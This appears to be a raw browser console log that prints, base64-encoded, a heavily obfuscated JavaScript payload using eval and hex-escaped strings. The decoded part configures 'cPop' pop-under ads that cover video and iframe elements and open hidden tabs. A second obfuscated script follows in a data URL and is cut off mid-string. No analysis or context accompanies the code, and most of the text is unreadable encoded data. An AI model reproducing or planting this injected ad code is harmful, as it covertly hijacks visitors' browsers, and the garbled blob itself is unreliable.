jlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDRjXHg3OVx4NDlceDcwXHg1N1x4N2FceDQyXHg2NFx4NjZceDQ4XHg3N1x4NjlceDUzXHg3OVx4MzRceDMxXHg0OVx4NjlceDZiXHg3NVx4NGRceDc5XHg2N1x4NjlceDQ5XHg2OVx4NmJceDc1XHg1NFx4NDNceDY3XHg3OFx4NGJceDQ4XHg1MVx4NzBceDY1XHg3YVx4NTlceDY3XHg2NFx4NDNceDM1XHg0ZVx4NGJceDQ0XHg0MVx4NzBceDRjXHg2Ylx4NjNceDZmXHg1M1x4NDNceDZjXHgzOVx4NGJceDUzXHgzNVx4NDJceDRiXHg0M1x4NDlceDY5XHg0Ylx4NTNceDZiXHg3MFx4NGZceDMzXHg2Zlx4NzVceDRlXHg0M1x4NjdceDY5XHg1MVx4NzlceDQ5XHg3M1x4NGRceDUzXHg2N1x4NzBceDY1XHgzMlx4NTVceDZmXHg2Mlx4NjlceDczXHg2OVx4NGNceDMyXHg1OVx4NzVceDRmXHg1M1x4NDlceDcwXHg0Y1x4NmFceDUxXHg2Zlx4NDlceDZiXHg1MVx4NjlceDRjXHg0NFx4NDVceDZmXHg0Ylx4NThceDc0XHg0N1x4NGJceDQ0XHg0NVx4NmZceDRiXHg1OFx4NzRceDZjXHg0Ylx4NDdceDM0XHg3Mlx4NDlceDY5XHgzOVx4N2FceDRjXHg2YVx4NmJceDY5XHg0Ylx4NThceDMwXHg3M1x4NTJceDUzXHg2Y1x4MzlceDRiXHg1OFx4MzBceDcwXHg2Nlx4NTNceDY4XHg0YVx4NGJceDU0XHg3M1x4M2QnLCdceDYzXHgzM1x4NDJceDczXHg2MVx4NThceDUxXHgzZCcsJ1x4NWFceDZlXHg0YVx4NzZceDYyXHg1NVx4NGVceDZmXHg1OVx4NThceDRhXHg0NFx4NjJceDMyXHg1Mlx4NmMnLCdceDY0XHg0N1x4MzlceDU0XHg2NFx4NDhceDRhXHg3MFx4NjJceDZkXHg2M1x4M2QnLCdceDYzXHg2ZFx4NTZceDc3XHg2Mlx4NDdceDQ2XHg2YVx4NWFceDUxXHgzZFx4M2QnXTsoZnVuY3Rpb24oXzB4MWI1OWFjLF8weDMwZDYwNSl7dmFyIF8weDQ0NTljOT1mdW5jdGlvbihfMHgxNDY4YWMpe3doaWxlKC0tXzB4MTQ2OGFjKXtfMHgxYjU5YWNbJ3B1c2gnXShfMHgxYjU5YWNbJ3NoaWZ0J10oKSk7fX07XzB4NDQ1OWM5KCsrXzB4MzBkNjA1KTt9KF8weDEzOGYsMHgxMGIpKTt2YXIgXzB4MTdjMT1mdW5jdGlvbihfMHgxOTc3ZGIsXzB4Yzc5ZjY5KXtfMHgxOTc3ZGI9XzB4MTk3N2RiLTB4MDt2YXIgXzB4MTYyZGYyPV8weDEzOGZbXzB4MTk3N2RiXTtpZihfMHgxN2MxWydPTXJTcXgnXT09PXVuZGVmaW5lZCl7KGZ1bmN0aW9uKCl7dmFyIF8weDI0NzE2Njt0cnl7dmFyIF8weDViZDYyOT1GdW5jdGlvbigncmV0dXJuXHgyMChmdW5jdGlvbigpXHgyMCcrJ3t9LmNvbnN0cnVjdG9yKFx4MjJyZXR1cm5ceDIwdGhpc1x4MjIpKFx4MjApJysnKTsnKTtfMHgyNDcxNjY9XzB4NWJkNjI5KCk7fWNhdGNoKF8weDMyOTViMCl7XzB4MjQ3MTY2PXdpbmRvdzt9dmFyIF8weDI4M2NlOT0nQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0nO18weDI0NzE2NlsnYXRvYiddfHwoXzB4MjQ3MTY2WydhdG9iJ109ZnVuY3Rpb24oXzB4MzQxYjE5KXt2YXIgXzB4MTQ0Zjk2PVN0cmluZyhfMHgzNDFiMTkpWydyZXBsYWNlJ10oLz0rJC8sJycpO2Zvcih2YXIgXzB4MjhhNzVlPTB4MCxfMHg1OWNiNWIsXzB4MWUwOTNkLF8weDUxZWZhNj0weDAsXzB4OTIyYWFjPScnO18weDFlMDkzZD1fMHgxNDRmOTZbJ2NoYXJBdCddKF8weDUxZWZhNisrKTt+XzB4MWUwOTNkJiYoXzB4NTljYjViPV8weDI4YTc1ZSUweDQ/XzB4NTljYjViKjB4NDArXzB4MWUwOTNkOl8weDFlMDkzZCxfMHgyOGE3NWUrKyUweDQpP18weDkyMmFhYys9U3RyaW5nWydmcm9tQ2hhckNvZGUnXSgweGZmJl8weDU5Y2I1Yj4+KC0weDIqXzB4MjhhNzVlJjB4NikpOjB4MCl7XzB4MWUwOTNkPV8weDI4M2NlOVsnaW5kZXhPZiddKF8weDFlMDkzZCk7fXJldHVybiBfMHg5MjJhYWM7fSk7fSgpKTtfMHgxN2MxWyd4anFrREYnXT1mdW5jdGlvbihfMHgzMzc3MTgpe3ZhciBfMHg1ZGRiMTU9YXRvYihfMHgzMzc3MTgpO3ZhciBfMHg1NjBiOTU9W107Zm9yKHZhciBfMHhjOTdmOTE9MHgwLF8weDQ0MTg3Mj1fMHg1ZGRiMTVbJ2xlbmd0aCddO18weGM5N2Y5MTxfMHg0NDE4NzI7XzB4Yzk3ZjkxKyspe18weDU2MGI5NSs9JyUnKygnMDAnK18weDVkZGIxNVsnY2hhckNvZGVBdCddKF8weGM5N2Y5MSlbJ3RvU3RyaW5nJ10oMHgxMCkpWydzbGljZSddKC0weDIpO31yZXR1cm4gZGVjb2RlVVJJQ29tcG9uZW50KF8weDU2MGI5NSk7fTtfMHgxN2MxWydrRG1IU2snXT17fTtfMHgxN2MxWydPTXJTcXgnXT0hIVtdO312YXIgXzB4MzA2NDA1PV8weDE3YzFbJ2tEbUhTayddW18weDE5NzdkYl07aWYoXzB4MzA2NDA1PT09dW5kZWZpbmVkKXtfMHgxNjJkZjI9XzB4MTdjMVsneGpxa0RGJ10oXzB4MTYyZGYyKTtfMHgxN2MxWydrRG1IU2snXVtfMHgxOTc3ZGJdPV8weDE2MmRmMjt9ZWxzZXtfMHgxNjJkZjI9XzB4MzA2NDA1O31yZXR1cm4gXzB4MTYyZGYyO307ZXZhbChmdW5jdGlvbihfMHg0OWIyZTksXzB4MTA2OTM1LF8weDIyM2Q1NixfMHgyZmY2ZTksXzB4ZWQ3ZDI2LF8weDNiYzUwMCl7XzB4ZWQ3ZDI2PWZ1bmN0aW9uKF8weDI2YmI4Mil7cmV0dXJuKF8weDI2YmI4MjxfMHgxMDY5MzU/Jyc6XzB4ZWQ3ZDI2KHBhcnNlSW50KF8weDI2YmI4Mi9fMHgxMDY5MzUpKSkrKChfMHgyNmJiODI9XzB4MjZiYjgyJV8weDEwNjkzNSk+MHgyMz9TdHJpbmdbXzB4MTdjMSgnMHgwJyldKF8weDI2YmI4MisweDFkKTpfMHgyNmJiODJbXzB4MTdjMSgnMHgxJyldKDB4MjQpKTt9O2lmKCEnJ1tfMHgxN2MxKCcweDInKV0oL14vLFN0cmluZykpe3doaWxlKF8weDIyM2Q1Ni0tKXtfMHgzYmM1MDBbXzB4ZWQ3ZDI2KF8weDIyM2Q1NildPV8weDJmZjZlOVtfMHgyMjNkNTZdfHxfMHhlZDdkMjYoXzB4MjIzZDU2KTt9XzB4MmZmNmU5PVtmdW5jdGlvbihfMHgzMjA3ZjYpe3JldHVybiBfMHgzYmM1MDBbXzB4MzIwN2Y2XTt9XTtfMHhlZDdkMjY9ZnVuY3Rpb24oKXtyZXR1cm4gXzB4MTdjMSgnMHgzJyk7fTtfMHgyMjNkNTY9MHgxO307d2hpbGUoXzB4MjIzZDU2LS0pe2lmKF8weDJmZjZlOVtfMHgyMjNkNTZdKXtfMHg0OWIyZTk9XzB4NDliMmU5W18weDE3YzEoJzB4MicpXShuZXcgUmVnRXhwKCdceDVjXHg2MicrXzB4ZWQ3ZDI2KF8weDIyM2Q1NikrJ1x4NWNceDYyJywnXHg2NycpLF8weDJmZjZlOVtfMHgyMjNkNTZdKTt9fXJldHVybiBfMHg0OWIyZTk7fShfMHgxN2MxKCcweDQnKSwweDMyLDB4MzIsJ1x4N2NceDY2XHg3NVx4NmVceDYzXHg3NFx4NjlceDZmXHg2ZVx4N2NceDczXHg3NFx4NzlceDZjXHg2NVx4N2NceDczXHg3MFx4NmNceDY5XHg3NFx4N2NceDYxXHg2NFx4NjRceDQ1XHg3Nlx4NjVceDZlXHg3NFx4NGNceDY5XHg3M1x4NzRceDY1XHg2ZVx4NjVceDcyXHg3Y1x4NjNceDZmXHg2ZFx4N2NceDcyXHg2NVx4NzRceDc1XHg3Mlx4NmVceDdjXHg2OFx4NzRceDc0XHg3MFx4NzNceDdjXHg3Nlx4NjFceDcyXHg3Y1x4NzBceDZlXHg2N1x4N2NceDcwXHg3NFx4N2NceDYyXHg2Zlx4NjRceDc5XHg3Y1x4NjVceDZlXHg2M1x4NmZceDY0XHg2NVx4NTVceDUyXHg0OVx4NDNceDZmXHg2ZFx4NzBceDZmXHg2ZVx4NjVceDZlXHg3NFx4N2NceDcyXHg2NVx4NjZceDY1XHg3Mlx4NzJceDY1XHg3Mlx4N2NceDdjXHg3Y1x4NjJceDc0XHg2Zlx4NjFceDdjXHg3Nlx4MzFceDdjXHg2MVx4NzBceDcwXHg2NVx4NmVceDY0XHg0M1x4NjhceDY5XHg2Y1x4NjRceDdjXHg2ZVx4NmZceDZlXHg2NVx4N2NceDYxXHg2Mlx4NzNceDZmXHg2Y1x4NzVceDc0XHg2NVx4N2NceDcwXHg2Zlx4NzNceDY5XHg3NFx4NjlceDZmXHg2ZVx4N2NceDY5XHg2ZFx4NjdceDdjXHg3Y1x4NjNceDcyXHg2NVx4NjFceDc0XHg2NVx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg3NFx4NmZceDcwXHg3Y1x4NmNceDY1XHg2Nlx4NzRceDdjXHg2MVx4NzBceDY5XHg3Y1x4N2NceDdjXHg3M1x4NzJceDYzXHg3Y1x4NzJceDY1XHg3MFx4NmNceDYxXHg2M1x4NjVceDdjXHg3MFx4NmZceDY5XHg2ZVx4NzRceDY1XHg3Mlx4NDVceDc2XHg2NVx4NmVceDc0XHg3M1x4N2NceDYzXHg2Y1x4NjlceDYzXHg2Ylx4NjFceDY5XHg2ZVx4NjVceDdjXHg2MVx4NzBceDcwXHg3Y1x4NzdceDY5XHg2ZVx4NjRceDZmXHg3N1x4N2NceDZhXHg2Zlx4NjlceDZlXHg3Y1x4NmVceDY1XHg3N1x4N2NceDQ0XHg0Zlx4NGRceDQzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0XHg0Y1x4NmZceDYxXHg2NFx4NjVceDY0XHg3Y1x4NmNceDZmXHg2MVx4NjRceDdjXHgzNVx4NjVceDMzXHg3Y1x4NzNceDY1XHg3NFx4NTRceDY5XHg2ZFx4NjVceDZmXHg3NVx4NzRceDdjXHg3NFx4NmZceDUzXHg3NFx4NzJceDY5XHg2ZVx4NjdceDdjXHgzMVx4MzZceDdjXHg2NFx4NmZceDYzXHg3NVx4NmRceDY1XHg2ZVx4NzRceDdjXHg2MVx4NmVceDY0XHg3Mlx4NmZceDY5XHg2NFx4N2NceDY0XHg2Zlx4NzRceDdjXHg2ZFx4NjFceDcwXHg3Y1x4NjNceDY4XHg2MVx4NzJceDQzXHg2Zlx4NjRceDY1XHg0MVx4NzRceDdjXHg1Mlx4NjVceDY3XHg0NVx4NzhceDcwJ1tfMHgxN2MxKCcweDUnKV0oJ1x4N2MnKSwweDAse30pKTsKO3ZhciBjSVBvcCA9IGZ1bmN0aW9uIGNJUG9wKHVybCkgewoJCWNQb3AuY29uZmlnKHsKCQkJY292ZXJUYWdzOiBbJ3ZpZGVvJywgJ2lmcmFtZSddLAoJCQl0YWJVbmRlcklnbm9yZVRhcmdldEJsYW5rOiB0cnVlLAoJCQlkZWxheTogMjE2MDAKCQl9KTsKCQljUG9wLmFkZCh1cmwsIHsKCQkJbmV3VGFiOiB0cnVlLAoJCQl1bmRlcjogdHJ1ZSwKCQkJY29va2llRXhwaXJlczogMjE2MDB9KX07(Line 1)
Message:
console.clear
console-api log URL: data:text/plain;base64,d2luZG93LnBvcG5zID0gJ2NQb3AnO3Y3R0cuYzQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LmU0PT09J2Z1bmN0aW9uJz92N0dHLlo0LmU0LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LmU0O307djdHRy5pMT1mdW5jdGlvbigpe3ZhciBxMT1mdW5jdGlvbihJMSxLMSl7dmFyIEExPUsxJjB4ZmZmZjt2YXIgcjE9SzEtQTE7cmV0dXJuKHIxKkkxfDApKyhBMSpJMXwwKXwwO30sbTE9ZnVuY3Rpb24oajEsVTEsaDEpe3ZhciB4MT0weGNjOWUyZDUxLHoxPTB4MWI4NzM1OTM7dmFyIGUxPWgxO3ZhciB0MT1VMSZ+MHgzO2Zvcih2YXIgWjE9MDtaMTx0MTtaMSs9NCl7dmFyIFExPWoxLmNoYXJDb2RlQXQoWjEpJjB4ZmZ8KGoxLmNoYXJDb2RlQXQoWjErMSkmMHhmZik8PDh8KGoxLmNoYXJDb2RlQXQoWjErMikmMHhmZik8PDE2fChqMS5jaGFyQ29kZUF0KFoxKzMpJjB4ZmYpPDwyNDtRMT1xMShRMSx4MSk7UTE9KFExJjB4MWZmZmYpPDwxNXxRMT4+PjE3O1ExPXExKFExLHoxKTtlMV49UTE7ZTE9KGUxJjB4N2ZmZmYpPDwxM3xlMT4+PjE5O2UxPWUxKjUrMHhlNjU0NmI2NHwwO31RMT0wO3N3aXRjaChVMSU0KXtjYXNlIDM6UTE9KGoxLmNoYXJDb2RlQXQodDErMikmMHhmZik8PDE2O2Nhc2UgMjpRMXw9KGoxLmNoYXJDb2RlQXQodDErMSkmMHhmZik8PDg7Y2FzZSAxOlExfD1qMS5jaGFyQ29kZUF0KHQxKSYweGZmO1ExPXExKFExLHgxKTtRMT0oUTEmMHgxZmZmZik8PDE1fFExPj4+MTc7UTE9cTEoUTEsejEpO2UxXj1RMTt9ZTFePVUxO2UxXj1lMT4+PjE2O2UxPXExKGUxLDB4ODVlYmNhNmIpO2UxXj1lMT4+PjEzO2UxPXExKGUxLDB4YzJiMmFlMzUpO2UxXj1lMT4+PjE2O3JldHVybiBlMTt9O3JldHVybntiMTptMX07fSgpO3Y3R0cuRDQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LkM2PT09J2Z1bmN0aW9uJz92N0dHLlo0LkM2LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LkM2O307djdHRy5MMT1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIHY3R0cuaTEuYjE9PT0nZnVuY3Rpb24nP3Y3R0cuaTEuYjEuYXBwbHkodjdHRy5pMSxhcmd1bWVudHMpOnY3R0cuaTEuYjE7fTt2N0dHLlo2PWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgdjdHRy5nNi5DNj09PSdmdW5jdGlvbic/djdHRy5nNi5DNi5hcHBseSh2N0dHLmc2LGFyZ3VtZW50cyk6djdHRy5nNi5DNjt9O3Y3R0cuWjQ9ZnVuY3Rpb24oQTQpe3JldHVybntlNDpmdW5jdGlvbigpe3ZhciBTNCxsND1hcmd1bWVudHM7c3dpdGNoKEE0KXtjYXNlIDI6UzQ9bDRbMF0rbDRbMV07YnJlYWs7Y2FzZSAyMjpTND1sNFsyXStsNFswXS1sNFsxXTticmVhaztjYXNlIDc6UzQ9bDRbNF0rbDRbMTBdK2w0WzExXStsNFszXSsobDRbNl0rbDRbMV0rbDRbNV0rbDRbOV0rbDRbMl0rbDRbMF0rbDRbOF0pK2w0WzddO2JyZWFrO2Nhc2UgNjpTND1sNFsyXS9sNFswXS9sNFsxXTticmVhaztjYXNlIDE3OlM0PWw0WzZdK2w0WzFdK2w0WzBdK2w0WzRdK2w0WzVdK2w0WzJdK2w0WzNdO2JyZWFrO2Nhc2UgMTpTND1sNFszXStsNFs0XStsNFsyXStsNFsxXStsNFswXTticmVhaztjYXNlIDM6UzQ9bDRbMV0rKGw0WzNdK2w0WzVdK2w0WzBdK2w0WzRdK2w0WzJdKTticmVhaztjYXNlIDExOlM0PWw0WzFdPGw0WzBdO2JyZWFrO2Nhc2UgOTpTND1sNFswXT4tbDRbMV07YnJlYWs7Y2FzZSA0OlM0PWw0WzBdK2w0WzFdK2w0WzJdO2JyZWFrO2Nhc2UgODpTND1sNFswXT09PWw0WzFdO2JyZWFrO2Nhc2UgMTQ6UzQ9bDRbMF0rbDRbNF0rbDRbN10rbDRbMl0rbDRbNV0rbDRbM10rbDRbMV0rbDRbNl0rbDRbOF07YnJlYWs7Y2FzZSAyMTpTND1sNFswXSVsNFsyXS1sNFsxXTticmVhaztjYXNlIDEyOlM0PWw0WzVdK2w0WzJdK2w0WzZdK2w0WzBdKyhsNFs0XStsNFszXStsNFsxXSk7YnJlYWs7Y2FzZSAxNjpTND1sNFswXStsNFsyXTxsNFsxXTticmVhaztjYXNlIDIwOlM0PWw0WzFdJWw0WzJdKmw0WzBdO2JyZWFrO2Nhc2UgNTpTND1sNFs1XSsobDRbMTNdK2w0WzNdK2w0WzddK2w0WzEyXStsNFs2XStsNFs0XStsNFsyXStsNFswXStsNFsxMF0rbDRbOF0rbDRbMTFdK2w0WzldK2w0WzFdKTticmVhaztjYXNlIDA6UzQ9bDRbOV0rbDRbOF0rbDRbMl0rbDRbMTNdK2w0WzNdK2w0WzRdK2w0WzFdK2w0WzBdK2w0WzddK2w0WzExXStsNFsxMF0rbDRbNl0rbDRbNV0rbDRbMTRdK2w0WzEyXTticmVhaztjYXNlIDE4OlM0PWw0WzBdKmw0WzJdJWw0WzFdO2JyZWFrO2Nhc2UgMTA6UzQ9LWw0WzBdPT09bDRbMV07YnJlYWs7Y2FzZSAxMzpTND1sNFsxNF0rbDRbMjddK2w0WzE5XStsNFswXStsNFsxMV0rbDRbNV0rbDRbMTBdK2w0WzI5XStsNFsyXStsNFsyM10rbDRbMjBdK2w0WzRdK2w0WzIyXStsNFsxOF0rbDRbMjRdK2w0WzEyXStsNFs3XStsNFsxNV0rbDRbNl0rbDRbMTNdK2w0WzE3XStsNFs5XStsNFsyOF0rbDRbMjFdK2w0WzFdK2w0WzMwXStsNFsyNl0rbDRbMTZdK2w0WzNdK2w0WzI1XStsNFs4XTticmVhaztjYXNlIDE5OlM0PWw0WzFdL2w0WzBdJWw0WzJdO2JyZWFrO2Nhc2UgMTU6UzQ9bDRbNV0rbDRbNF0rbDRbMTBdK2w0WzFdK2w0WzZdK2w0WzldK2w0WzJdK2w0WzddK2w0WzhdK2w0WzNdK2w0WzBdO2JyZWFrO31yZXR1cm4gUzQ7fSxzNDpmdW5jdGlvbihQNCl7QTQ9UDQ7fX07fSgpO3Y3R0cueDQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LmIxPT09J2Z1bmN0aW9uJz92N0dHLlo0LmIxLmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LmIxO307djdHRy51ND1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIHY3R0cuWjQuZTQ9PT0nZnVuY3Rpb24nP3Y3R0cuWjQuZTQuYXBwbHkodjdHRy5aNCxhcmd1bWVudHMpOnY3R0cuWjQuZTQ7fTtmdW5jdGlvbiB2N0dHKCl7fXY3R0cuWTQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LnM0PT09J2Z1bmN0aW9uJz92N0dHLlo0LnM0LmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LnM0O307djdHRy5vND1mdW5jdGlvbiAoKXtyZXR1cm4gdHlwZW9mIHY3R0cuWjQuczQ9PT0nZnVuY3Rpb24nP3Y3R0cuWjQuczQuYXBwbHkodjdHRy5aNCxhcmd1bWVudHMpOnY3R0cuWjQuczQ7fTt2N0dHLmw2PWZ1bmN0aW9uICgpe3JldHVybiB0eXBlb2YgdjdHRy5nNi5iMT09PSdmdW5jdGlvbic/djdHRy5nNi5iMS5hcHBseSh2N0dHLmc2LGFyZ3VtZW50cyk6djdHRy5nNi5iMTt9O3Y3R0cuQjQ9ZnVuY3Rpb24gKCl7cmV0dXJuIHR5cGVvZiB2N0dHLlo0LmIxPT09J2Z1bmN0aW9uJz92N0dHLlo0LmIxLmFwcGx5KHY3R0cuWjQsYXJndW1lbnRzKTp2N0dHLlo0LmIxO307djdHRy5nNj1mdW5jdGlvbigpe3ZhciBzNj0yO3doaWxlKHM2IT09MSl7c3dpdGNoKHM2KXtjYXNlIDI6cmV0dXJue0M2OmZ1bmN0aW9uKHg2KXt2YXIgbTY9Mjt3aGlsZShtNiE9PTE0KXtzd2l0Y2gobTYpe2Nhc2UgNDptNj1JNj09PXg2Lmxlbmd0aD8zOjk7YnJlYWs7Y2FzZSAyOnZhciBQNj0nJyxVNj1kZWNvZGVVUkkoIjIjMUw3QTg4LEk1Vz84O1Y0WiUyMiUzRStHO0IlMjIpJTIwRyUwQUUlMjIkLFE/RTIyJTE0UChBMCMqRypLJjklM0MlNUQ/ViUzQz8sdDtHKCUzRTdNL1Y4Mj8lNUM0UTQtJTIwRyUxOEElMjI4N0skaTkoN0c3TTgyJTA1JTVDOE8/OCxaNUolMjUjJTNFJTVDJG4lMjUyJTdCRyxBJD87VjRabTIhTTVUKCQzVyUzRUgzKCxLP0k5OjdHaCUxNiglMUU3Xz9WMyUzRSxaNUolMjIpJTNDTSRJMyUzRTUlNUMkSjM0JkclMEJHO3U5JTVEJHooJTAwPSU1RT1BJDIhJTVDLlolM0UpOyU1RTJQKCUwOSUzRSU1QzdBODghRylQLyUyMDdHLE0lMjUlMjUwUDZNJTIyNSxqJEc6JTI1N1cuWjMlMjA3VD9KJTIyMiUxNUE2WiUxQSYsaz9FNSQ3JTVEJGswMj1fJTNDVzM4LG8lMjBaJTEzKyxuM0oyIyUyNUc5RTgvN1UkbicvKyUwQzBGZCU3QyUyMkc4TTgoLEk1TTg4N0skSiMhMCU1QyhaNS0lM0VVJH4oJTIwN18uWngyJlgoQzM4LHoyVjkhN0clM0VBJTIwJTI1MSU1QyRwLyUzQzdKJFclM0UjJ1UlM0VaJTIyLTVHJTAzJTE3KCUwNTVXNVYzMiUxMFA0QCglMTk1RyUwQVY5JTNDMyU1RTtQPyMlM0NHNVQzJTIyN0skSDkvM00zSzgyJTA1QTZHJTNDO2pHLk07KSx2NEczMiUxM1U2WjAlM0UzVD9aJTA1ISxLO0oyIz9HJTE4UiglMDU2RzBLPyUyMiwlNjAqWjsjJCU1QyRTPyUyMjZWLVoyJTI1IUk2RS8ybEclMUVLOy07VyRAMz85TTVUKCUwQSElNUUkUDcuJ1clM0VBJDIlMTMlNUUkRTQjJ00kVzUlM0U7SS5aJjkhUSRBJTIwKSUzQ00pWiUyMiUzRTNXKVQ3JTNFN1cuWiY4MVY0QyglMUYmVihFMSkseCRQNy4saT9WJi01JTVDJEk3NCxKL0YlMjU4JTIwRzZLNygsajlWPyUzQyZHJTEzSiUyMiklMjBPO0goJCUyMCU1QyUzQ1o4IyxaKEE3ODdHO1AlMjItMVEkSDklMjI1Ry9WOjIlMUZYLkwoLTBaJTNFQTArOlAwTzohJTNDVipVJD8mTCxTLjUoRyUxNVQzJTNFM0clMENFOjk3RyUxOEgoOSUzQyU1RD9WKCUwNSYlNUM3WiUxNCUzRT1OKUEkMiUxM1clM0VWOSUyNTZHOVEkJTNFN1cuWiUxNCUyMDNXMVoyKSRHNEslMjIyJTFFJTVDJTNDUCg/N1U/RyUyMiMlMjBHJTFEJTFEPy04TmJaPyUyMiUzQyU1QyhaNCUyMDNXMVolMDM1LCU1QyRzPyUyMix4LlolMTQ5MCU1QjZBKCg3WjVAMzIlMDJYKEE4OCxoL0EjKTZHdlolMDU4M1QqWiYtJTIwJTVDNFAoJDNKJFElMjUpJTIwRyhBJiUyMDNaP1olMDAyI0w/Vi8yJTNDJTVDLlM5JTNFOUcpTD8qJkcqVjk4PU0jVDMyPSU1QjBBNTgseSRKIyUyMCUzRUcuSyh+YiUwOGJaPyUyMiUyMkwuWjstJloyWiQpIU01VjMyO18oRTspLHU1UzMlM0UsJTdGalolMDQyJTA2UTtKJTNFMiUxRkc4USUyMjg9VyRvMjIlMTglMDkkcSQlMjAsaSRGMyo9Sz9aJTAwKSUyMEozSzgyJTA0TCRBOC0wVT9AKCUwMyxLP1czOCwlMTEkVjM/O0M/WiMlMjI2JTVDJTNDTTgpNkd6WiUyNSUzRTFHJTFEQSUyMjg3SyUwNSU3QiglMUM6WDRaPzIxVT9FJDIwWClBJTYweCwlNjAkQDMuJyU1RSRDMzgsUztSNz8xSzNUJTIyMjNNLlY/LidNP1coJTFGJkszSjEyLHU3WjgpJTI1RzVKNSUyMDtaMVolMTF1JTI1JTVEJCU3QyhjLFQzSTMyJTE0TDRHJTIyJTI1PVckVjM9JyU1QylQKCUxMHplc3glMjVmKWUpJTBFJTBBJTE3JTBFSnBKNzg7Tz8lMDQ1IzYlNUMlMDZXJTdDJTEwJTBGZSklMEUrMiUxRVA0US4yJTFFJTA5KkwyISwlNUQ/VyUyMiUzRT1AJE07MjZQKVQ3ODFRJE04PzdLLlo4IzYlNUMkajoyJTAxJTVDNkE1OD1LJCUxMiglMDg3JTVCL0MoJTE4MyU1RSlaJTE0JCwlNUU/SzojMVguTTklMjIsJTdDLEE4OCxYKlQ6NSwlNUQ7UDcycUclMEVFJCs3TSRnOSElMjJYKEEoaSwlN0Y2RTEyY0clMTlFJTI1KSwlNUQ1STclMjUlM0NHJTFCUSUyMiQ9SyRGOSgrRztAMjIlMERmJTNFQTAlMjUlM0MlNUMkcDcrLFQ/VyUyNS01JTVDJEk5OSElNUMvVCglMEElMjBWN1olMDYjO1cuWiUyMC0lMjBHJTBFSyMvOiU1QylaJTAyIywlN0QtUig2LFg4VzklMjAnTT9aJTA3Kyx4NEclM0UjJTIwRzNKMikqRy1BNCc7TSRWMyUyMDdYKUEoJTAxPUwpQSglMEEzVTZGNy85RyUwOVA3LzlHOUUlMjIvOkcqSyUyNTgsWjVKNS0mRyUxNiUxNSglMjA3Vz1QJTNFMiUyMCU1RCRUNyUzRSElNUMkaS8yOlAlM0VAMyUyMiwlMDhqJTE0KCUwQTtLP1olMTc2LFEuUCY/LGk/VjslMjUhSjNLODIlMDBQJGsmKSUzQyU1QyhaJTA3MiUzQ1Y0QSgvJ0spSyQyJTIyWD1BKCUzQypHJ1olMTgtPyU1QyRHJTNFLSUzQyU1RT9AKCUxOSZQNlcoPyZLM0oxMiUxMyU1RTglMTYoJTBEJFgzSDcuJTNFJTVDJGJkMiUxNSUwMDNFJTNDMiUxQl8oRTspLHo1SSYjJTNDJTVDNFAoJTBEPVokJTE5KCUwRCUyNUclMTZafiUxMCFFfiUwRCgvPVcuRTU4LH4kVjM/O0M7RjopLHguUCQlMjUwTC5BKCUwMT0lNUIzSDMyPUszQz8lMjIsWC9QJTNFIyUyMEc/JTVDMy8sdipBODIlMERNO1YxKSZHJTNDTS4pNkclMDVQPyE3Vi9QJTA5MiUxM1YkcSglMDg3XztROjgsdTtXJTIyMiUxQkclM0VBJTIyLTFRJHYlMjAyJTA4JTBCJHc1JTNFPVU2RjclM0UsJTdGKVolMDItMEc/JTVDJiUyNSUyMCU1QylaJTE0OyxQJTNFWiUxRiUyMjYlNUMlMjJaOyMwUDZBKCUwRStHJTBETTI4Okc3TyYyJTExViUzRUEoJTIyM1Q/WiUyNSUzQzdaM0I/KTZHKkUlMjIkLFo2TTUnLHElM0VMNzIwVS9WKCUxQyUyMFYqQSQ4K0c5SzgqOyU1RSRXMyUyMDRHJTA4TWY0LGgvWjAlMjA9VihaJTEzNCUyMkclMTVTODIlMTclNUQ9QSglMjUhRyUwRkoyKSUyMEclMUJDMyUyMiZHLiU1RCYpLHpjWmoyJTE0UChBMjIlMURJLk05JTIyIUclM0NROC8mUDVKKCUwNixNO0YjJTNDLEkoTTg4LCU3QyUyMlQ/JTNFN0okZzkjOVA/WiUwNSUyNTBVM0oxMiUyNUclMTVSMyUzRSUzRVgjWiUwMiUyNT8lNUM1USUyMjIlMUQlNUIwQTU4LFYvUDMlM0UscyxGZTIlMjVQJTNFUCUzRTIhVTNHMzIlMUNYJCUxNiglMUM4RyUxNk0yLyxYJGg/PyYlNUM0QSQyJTFGViUyME06JTIwM0clMUVFJTIyKSx2NEg5LTZHKUUwKSxMNEY/JTIyNkcuSyMvOiU1QzRAKCUwRTdfNVYzMjFVO1clMjUyJTAyVilNJTIyJTI1PVckJTYwKCUyNSUzQ1AuWiUxODIlMDlHOUs5JzslNUMkbicyJTBCVDVIKDg9SSRvKC86WChaJTA5LiUzRVg0TyglMjA9JTVFJEsmKSUzQ0clMTJaJTEzJTIwN1Q/SiUyMjIlMDAlNUM2QTc/N0cqSyY5JTNDJTVEP1YoJTNDPUkkdDo5NVA0WiUwNiMlMjJMNEAzJTNFLHMyRSglMTU/VmJaJTNFOD9VJHc3KjNLM1o5JTIyLHc1QDMyJTA1JTBDMUZkMjFVNVczMj9WL1czKD1ONFojPzclMTkpUCQlMjUxTSRnIyUzRSUyMCU1QzRQKC4zWjFDJCMnVyUzRVo7KSZYJFAzNCZHJTE5QzgyIVooQTMlMjIsJTFEJGEoJTBCa1ckbTEyayUwMGMlMURvdWtHKEEwKSUyMEs/VigpIVo7VDMyJTdGRztUJiklM0MlNUQkTDk/JkcqQSQlM0MzJTVFP1olMUYlMjImRyUwRkEoJTIyPUs/QiglMDQ7UztHPSUyNSUzQyU1RSR